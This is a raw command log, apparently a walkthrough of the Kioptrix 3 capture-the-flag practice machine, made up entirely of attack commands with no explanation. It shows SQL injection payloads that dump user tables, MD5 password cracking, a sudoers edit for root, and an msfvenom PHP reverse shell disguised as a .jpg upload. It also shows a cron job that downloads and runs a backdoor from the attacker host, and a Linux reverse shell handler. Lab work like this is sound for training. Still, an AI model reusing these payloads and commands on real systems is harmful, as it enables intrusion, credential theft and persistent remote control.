Code:
nmap 192.168.0.* -n -sn -sP
echo 192.168.0.10 kioptrix3.com >> /etc/hosts # It's in the readme
cat /etc/hosts
us -H -msf -Iv kioptrix3.com -p 1-65535 && us -H -mU -Iv kioptrix3.com -p 1-65535
nmap -p 1-65535 -T4 -A -v kioptrix3.com
firefox kioptrix3.com # Link-> Blog
http://kioptrix3.com/../etc/passwd.html
# Gallery --> Source code (gadmin): http://kioptrix3.com/gallery/gadmin/
cd /pentest/exploits/exploitdb
grep -i gallarific files.csv
cat platforms/php/webapps/15891.txt
firefox kioptrix3.com/gallery/gallery.php
http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,3,4,5,6
http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()),4,5,6
http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='dev_accounts'),4,5,6
http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,(select group_concat(id, 0x3A, username, 0x3A, password) from dev_accounts),4,5,6
echo -e "0d3eccfb887aabd50f243b3f155c0f85\n5badcaf789d3d1d0 9794d8f021f40f0e" >> /tmp/hashes
cd /pentest/passwords/john
./john /tmp/hash --format=raw-md5
ssh loneferret@kioptrix3.com # starwars
id
pwd
ls -lA
cat CompanyPolicy.README
ls -lh /etc/sudoers
cat /etc/sudoers
sudo ht # starwars File -> Open: /etc/sudoers -> Edit loneferret: loneferret ALL=(ALL) ALL -> File -> Save
sudo su # starwars
id && ifconfig && uname -a && cat /etc/shadow && ls -lAh ~/
cd /etc/apache2/sites-enabled
ls
cat * | grep -i documentroot
exit
exit
firefox
http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,3,4,5,6
http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='gallarific_users'),4,5,6
http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,(select group_concat(userid, 0x3A, username, 0x3A, password, 0x3A, usertype) from gallarific_users),4,5,6
cd /pentest/database/sqlmap
./sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1" -f -b --current-user --is-dba --dbs
./sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1" --columns
./sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1" --users --passwords
./sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1" --file-read="/etc/passwd"
./sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1" --dump
http://kioptrix3.com/gallery/gadmin # admin n0t7t1k4 Upload new pic
cd /pentest/backdoors/web/webshells
ls -lAh
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=443 -f raw > /tmp/evil.jpg # msfpayload php/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=443 R
msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=443 E
firefox http://kioptrix3.com/gallery/photos/home/www/kioptrix3.com/gallery/photos/w835623l98.jpg.html
sysinfo
shell
su loneferret
echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py
python /tmp/shell.py
su loneferret # starwars
sudo su # starwars
cd ~
ls
cat Congrats.txt
exit
exit
exit
exit
exit
ssh loneferrt@kioptrix3.com # starwars
cat CompanyPolicy.README
sudo ht
* * * * * root cd /tmp; wget 192.168.0.192/back.door && chmod +x back.door && ./back.door; rm /etc/cron.d/exploit # /etc/cron.d/exploit
msfpayload linux/x86/shell_reverse_tcp LHOST=192.168.0.192 LPORT=443 X > /var/www/back.door
file /var/www/back.door
/etc/init.d/apache2 start
msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp LHOST=192.168.0.192 LPORT=443 E
id
uname -a